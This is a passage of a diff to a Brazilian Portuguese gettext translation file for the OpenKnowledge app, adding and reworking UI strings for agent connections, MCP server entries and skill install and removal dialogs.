sob o título de uma seç#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "No app"@@ -7071,6 +7160,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "Insere, exclui, move, copia e recua linhas do editor de código pelo mapa de teclas padrão do CodeMirror."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7092,6 +7182,10 @@ msgstr "Instalar {0}"msgid "Install {brand} →"msgstr "Instalar {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "Instalar {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "instale primeiro uma habilidade aqui"@@ -7168,22 +7262,12 @@ msgstr "Instalar a CLI gh"msgid "Install this skill"msgstr "Instalar esta habilidade"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "Instalado"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "Instalado — ok está disponível em terminais externos. Desmarcar remove; o terminal integrado e as ferramentas de IA do OpenKnowledge continuam funcionando."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "Instalado — o ok está disponível em terminais externos. Desmarcar remove-o; suas ferramentas de IA continuarão funcionando."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7241,6 +7325,14 @@ msgstr "Instala para todos os seus projetos"msgid "Installs into this project"msgstr "Instala neste projeto"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "Instala a habilidade de descoberta do OpenKnowledge para este agente."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "Instala a habilidade de projeto do OpenKnowledge para este agente."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "Instala a skill em {path} — o primeiro local guarda a própria cópia"@@ -7639,7 +7731,7 @@ msgstr "Carregando {fileName}"msgid "Loading agent activity"msgstr "Carregando a atividade do agente"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "Carregando agentes…"@@ -7862,11 +7954,16 @@ msgstr "Resposta de listPacks malformada"msgid "Malformed plan response"msgstr "Resposta de plano malformada"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "Gerenciar"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "Gerenciar {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7880,13 +7977,10 @@ msgstr "Gerenciar as pastas de habilidades"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "Gerencie a conta do GitHub que o OpenKnowledge usa para explorar e sincronizar seus repositórios."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "O gerenciamento de ferramentas de IA não está disponível nesta compilação."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "O gerenciamento das ferramentas de IA do projeto não está disponível nesta compilação."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "O gerenciamento de conexões de agentes não está disponível nesta versão."#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7942,12 +8036,9 @@ msgstr "Já está no número máximo de agentes em execução"msgid "MCP auto-repair failed"msgstr "O reparo automático do MCP falhou"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "Conexões MCP"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "A reparação automática de MCP falhou para {failures}"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8064,6 +8155,10 @@ msgstr "Altere o destino do link, a âncora e o texto exibido."msgid "More"msgstr "Mais"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "Mais informações"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "Mais requisições foram bloqueadas."@@ -8533,7 +8628,7 @@ msgstr "Nenhum agente foi configurado ainda — escolha um no menu de envio."msgid "no agents — saved, not installed anywhere"msgstr "nenhum agente — salvas, não instaladas em lugar algum"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "Nenhum agente disponível."@@ -8542,7 +8637,7 @@ msgstr "Nenhum agente disponível."msgid "No agents enabled"msgstr "Nenhum agente ativado"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "Nenhum agente corresponde à sua busca."@@ -8906,11 +9001,12 @@ msgstr "Sem resposta"msgid "Not attached to desktop bridge"msgstr "Sem conexão com a ponte do desktop"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "Indisponível nesta plataforma"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "Não conectado"@@ -8918,6 +9014,10 @@ msgstr "Não conectado"msgid "Not connected to GitHub."msgstr "Não conectado ao GitHub."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "Não detectado nesta máquina"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "Nem tanto"@@ -8928,7 +9028,7 @@ msgstr "Não está na barra lateral"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "Não instalado"@@ -9061,15 +9161,15 @@ msgstr "Sobre o texto selecionado em <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "No índice raiz, okf_version é escrito como uma string entre aspas, como \"0.2\". Sem aspas, YAML lê-o como um número e 0.10 silenciosamente se torna 0.1."-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "Falta um passo: ative no Cursor → Settings → Tools & MCP (o Cursor deixa os servidores de projeto desligados até você ligá-los)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "Falta um passo: ative no {agent} → Settings → Tools & MCP (o {agent} deixa os servidores de projeto desligados até você ligá-los)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "Falta um passo: rode <0>claude</0> neste projeto e aprove o OpenKnowledge uma vez."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "Falta um passo: rode {agent} neste projeto e aprove o OpenKnowledge uma vez."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9160,10 +9260,6 @@ msgstr "Abra um projeto primeiro."msgid "Open a project to edit."msgstr "Abra um projeto para editar."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "Abra um projeto para gerenciar as conexões dele com ferramentas de IA."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "Abra um único arquivo markdown — sem configurar projeto."@@ -9502,6 +9598,10 @@ msgstr "OpenKnowledge verificou se há conflitos"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge verificou o projeto"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "O OpenKnowledge não encontrou este agente nesta máquina."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "O OpenKnowledge não conseguiu ler terminal.shell em .ok/local/config.yml. Um shell do Windows disponível será usado."@@ -9530,6 +9630,18 @@ msgstr "OpenKnowledge excluiu {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge excluiu um documento"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "Habilidade de descoberta do OpenKnowledge"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "O OpenKnowledge não reconhece esta entrada e não pode substituí-la com segurança no formato deste arquivo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "O OpenKnowledge não reconhece esta entrada. Ativá-la a substituirá."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge editou {subject}"@@ -9574,6 +9686,10 @@ msgstr "O OpenKnowledge está usando uma conta do GitHub fornecida pela CLI gh.msgid "OpenKnowledge is using this GitHub account."msgstr "O OpenKnowledge está usando esta conta do GitHub."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "O OpenKnowledge não alterou este arquivo porque não conseguiu analisá-lo com segurança. Corrija o arquivo manualmente e tente novamente."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge listou as habilidades instaladas"@@ -10285,10 +10401,6 @@ msgstr "projeto"msgid "Project"msgstr "Projeto"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "O gerenciamento das ferramentas de IA do projeto só está disponível no app de desktop do OpenKnowledge."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "Detalhes do projeto"@@ -10297,6 +10409,10 @@ msgstr "Detalhes do projeto"msgid "Project folder created, but git init failed. Try again."msgstr "A pasta do projeto foi criada, mas o git init falhou. Tente de novo."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "Servidor MCP do projeto"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "Nome do projeto"@@ -10310,6 +10426,10 @@ msgstr "Os plugins de projeto são o padrão de autoria do seu projeto — liguemsgid "Project root"msgstr "Raiz do projeto"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "Habilidade do projeto"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "Modelos do projeto"@@ -10464,6 +10584,21 @@ msgstr "Enviado {pushed}"msgid "Pushing"msgstr "Fazendo push"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "Coloca a habilidade de descoberta do OpenKnowledge na pasta de habilidades global do {agent}, para que ele encontre o OpenKnowledge em qualquer projeto."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "Coloca a habilidade do OpenKnowledge na pasta de habilidades do {agent} para este projeto, para que as edições dele continuem atribuídas."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "Coloca a habilidade do OpenKnowledge no repositório central de habilidades que o {agent} lê."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "Decifrando…"@@ -10582,6 +10717,10 @@ msgstr "Projeto recente"msgid "Recently opened"msgstr "Abertos recentemente"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "Recomendado"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "Habilidade recomendada do agente"@@ -10717,6 +10856,8 @@ msgstr "Controle remoto"msgid "Remote skill source"msgstr "Fonte remota de habilidades"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10757,6 +10898,10 @@ msgstr "Remover {patternText}"msgid "Remove {projectName} from recent projects"msgstr "Remover {projectName} dos projetos recentes"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "Remover {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "Remover {tag}"@@ -10769,6 +10914,10 @@ msgstr "Falha ao remover: {error}"msgid "Remove field {field}"msgstr "Remover o campo {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "Remover para ambos"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10788,6 +10937,15 @@ msgstr "Remover o link"msgid "Remove OpenKnowledge from {0}"msgstr "Remover o OpenKnowledge de {0}"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "Remover o OpenKnowledge de {0}?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "Remover o OpenKnowledge?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "Remover a propriedade"@@ -10931,7 +11089,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "Reabrindo \"{docName}\" com um cache local de colaboração novo."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "integração MCP de {names} reparada"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10947,6 +11105,10 @@ msgstr "Substituir {keyName}"msgid "Replace all matches"msgstr "Substituir todas as ocorrências"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "Substituir e salvar"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "Substituir a ocorrência atual"@@ -10979,6 +11141,10 @@ msgstr "Substituir estas cópias por links simbólicos para a fonte?"msgid "Replace these symlinks with independent copies?"msgstr "Substituir estes links simbólicos por cópias independentes?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "Substitui a entrada \"open-knowledge\" existente neste arquivo. Os outros servidores do arquivo permanecem inalterados."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11235,7 +11401,7 @@ msgstr "Recuperando…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "Tentar de novo"@@ -11375,6 +11541,7 @@ msgstr "HTML incorporado em modo isolado — escreva HTML e veja a pré-visualizmsgid "Save"msgstr "Salvar"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "Salvar as alterações"@@ -11425,6 +11592,7 @@ msgstr "Salvo com o projeto para sua equipe."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "Salva o arquivo em <0>~/Downloads/openknowledge.skill</0> e abre o app Claude Desktop. Requer Node.js ou Bun no seu PATH."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "Salvando"@@ -11478,7 +11646,7 @@ msgstr "Buscar \"{semanticSubmitQuery}\" por significado"msgid "Search ({searchShortcutLabel})"msgstr "Buscar ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "Buscar agentes"@@ -12062,8 +12230,7 @@ msgstr "Mostrar mais {0}"msgid "Show {hidden} more"msgstr "Mostrar mais {hidden}"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "Mostrar mais {hiddenCount}"@@ -12129,8 +12296,7 @@ msgid "Show in Explorer"msgstr "Mostrar no Explorador"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "Mostrar menos"@@ -12337,11 +12503,6 @@ msgstr "Habilidades de {0}/{1}."msgid "Skills from OpenKnowledge"msgstr "Habilidades do OpenKnowledge"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "As habilidades foram movidas para Estúdio de habilidades."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "Habilidades reatribuídas"@@ -12497,6 +12658,7 @@ msgstr "Algo deu errado ao enviar seus comentários. Tente de novo."msgid "Something went wrong starting the terminal."msgstr "Algo deu errado ao iniciar o terminal."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "Algo deu errado. Tente de novo."@@ -13070,7 +13232,6 @@ msgstr "Modelos"msgid "Templates available"msgstr "Modelos disponíveis"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13079,8 +13240,7 @@ msgstr "Modelos disponíveis"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13208,6 +13368,11 @@ msgstr "A requisição de download de {0} expirou."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "O plugin {0} serve estas habilidades do seu cache — o OK nunca as edita nem atualiza."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "O aplicativo de desktop do {agent} ignora esta configuração de projeto; só a CLI do {agent} a lê."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "A pasta do {editor} tem outra versão desta habilidade. Escolha qual vence, ou mantenha as duas com nomes diferentes. O que você substituir recebe backup antes."@@ -13448,6 +13613,14 @@ msgstr "A pasta de origem em si não se move."msgid "The template's filename (without `.md`)."msgstr "O nome do arquivo do modelo (sem `.md`)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "As linhas de terminal e desktop de {label} compartilham uma mesma configuração, então conectar uma conecta as duas."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "As linhas de terminal e desktop de {label} compartilham uma mesma configuração, então removê-la desconecta as duas."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "O terminal está desligado neste projeto. Ligue de novo para rodar comandos aqui."@@ -13604,6 +13777,14 @@ msgstr "Este agente não oferece comandos de barra"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "Este agente não oferece comandos de barra — sua mensagem será enviada como texto simples"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "Este agente não oferece ao OpenKnowledge nenhuma forma de configurar isso para você. O guia de configuração dele traz as etapas manuais."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "Este agente ainda não tem um arquivo desse tipo nesta máquina. Abra o agente uma vez e verifique novamente."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "Este agente ainda não anunciou seus comandos"@@ -13647,6 +13828,14 @@ msgstr "Este comentário é sobre a propriedade inteira"msgid "This conflict is resolved."msgstr "Este conflito foi resolvido."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "Não foi possível configurar porque a entrada do servidor MCP necessária não foi gravada."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "Isso exclui as entradas do servidor MCP e os arquivos de habilidades listados abaixo. O agente perderá o acesso aos seus documentos até que você o adicione novamente."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "Este documento"@@ -13679,6 +13868,10 @@ msgstr "Este documento foi excluído"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "Este endpoint ignorou o tamanho de vector que você configurou. Remova <0>search.semantic.dimensions</0> para usar o tamanho próprio do modelo."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "Esta entrada mudou depois que o OpenKnowledge a escreveu. Ativá-la a substitui."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "Este campo carrega palavras-chave de esquema adicionais que o editor não mostra — elas são preservadas ao salvar."@@ -13731,6 +13924,10 @@ msgstr "Esta pasta é um clone de {actualOwner}/{actualRepo}, e não de {expectemsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "Esta pasta é um clone de {expectedOwner}/{expectedRepo} em {actualHost}, e não em {expectedHost}. Escolher uma pasta clonada de {expectedHost}?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "Esta pasta também é de {alsoAffects}."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "Esta pasta está vazia."@@ -13789,6 +13986,7 @@ msgstr "este item"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "Isto parece a raiz de uma unidade (ex.: C:\\). Preparar o projeto aqui vai varrer uma unidade inteira."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13814,6 +14012,10 @@ msgstr "Este precisa ver seus arquivos, não apenas o documento aberto, para quemsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "Esta ensina suas ferramentas de IA a trabalhar com o OpenKnowledge. Ela fica na pasta do projeto, então é instalada para todos que abrirem o projeto."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "Esta opção não pode ser alterada automaticamente."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "Este pacote já está configurado aqui."@@ -13869,6 +14071,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "Isto remove definitivamente {path}. Os agentes que citarem este modelo pelo nome vão falhar até ele ser recriado ou substituído por um de uma pasta acima."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13917,11 +14120,6 @@ msgstr "O servidor em execução deste projeto não suporta edição ao vivo. Remsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "O servidor deste projeto (v{0}) é mais novo que este app (v{1})."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "A habilidade deste projeto foi movida para Estúdio de habilidades."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "Isto remove do seu Mac as configurações e integrações do OpenKnowledge, e também dos projetos que você selecionar abaixo, mas mantém seu conteúdo markdown e as habilidades que você criou."@@ -13959,6 +14157,18 @@ msgstr "Esta configuração é de cada computador e não é compartilhada com osmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "Esta configuração é de cada computador e não é compartilhada com os colaboradores. Ela precisa de uma chave de API (defina abaixo), a menos que seu endpoint seja um servidor local que não exija uma."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "Esta configuração é compartilhada com {peers} através de <0>{path}</0>. Removê-la aqui também a remove para {peers}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "Esta configuração é compartilhada com {peers}, e o OpenKnowledge não pode alterá-la daqui. Desvincule a pasta no Skills Studio primeiro."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "Esta configuração é compartilhada com {peers}. Removê-la aqui também a remove para {peers}."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "Esta fonte traz várias habilidades — escolha uma e depois Importar."@@ -14279,7 +14489,6 @@ msgid "Type to find a doc"msgstr "Digite para encontrar um documento"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "indisponível nesta plataforma"@@ -14913,8 +15122,7 @@ msgstr "O que a IA deve fazer? (opcional)"msgid "What the agent may read, write, and surface."msgstr "O que o agente pode ler, escrever e mostrar."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "O que esta caixa muda"@@ -14990,6 +15198,10 @@ msgstr "Quem você é, para que o agente tenha seu contexto."msgid "Whole word"msgstr "Palavra inteira"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "Por que isso requer atenção"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "Link wiki"@@ -15027,6 +15239,10 @@ msgstr "Janela"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "Sem uma ferramenta de IA conectada, {packSkillCount, plural, one {# habilidade} many {# habilidades} other {# habilidades}} do pacote não serão instaladas."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "Sem a habilidade o agente continua funcionando, mas perde a atribuição das edições e a pré-visualização ao vivo."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "Quebra de linha"@@ -15074,6 +15290,11 @@ msgstr "Worktrees"msgid "Wrap long lines in the markdown source editor."msgstr "Quebra as linhas longas no editor de código markdown."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "Grava um pequeno arquivo de ponte que o {agent} carrega a partir deste projeto para alcançar o OpenKnowledge."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "Grava uma entrada em"@@ -15082,6 +15303,10 @@ msgstr "Grava uma entrada em"msgid "writing"msgstr "escrita"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "Falha ao gravar este arquivo. Consulte o log do OpenKnowledge para saber o motivo."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "A extensão do Open Knowledge foi gravada, mas não deu para marcar a pasta como confiável, então ela não vai carregar. Esta conversa não tem as ferramentas do Open Knowledge."@@ -15229,6 +15454,10 @@ msgstr "Sua cópia do ramo <0>{shareBranch}</0> tem alterações que não estãomsgid "Your current version is saved first, so this is reversible."msgstr "Sua versão atual é salva antes, então isto é reversível."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "Seus documentos não serão alterados."+#: 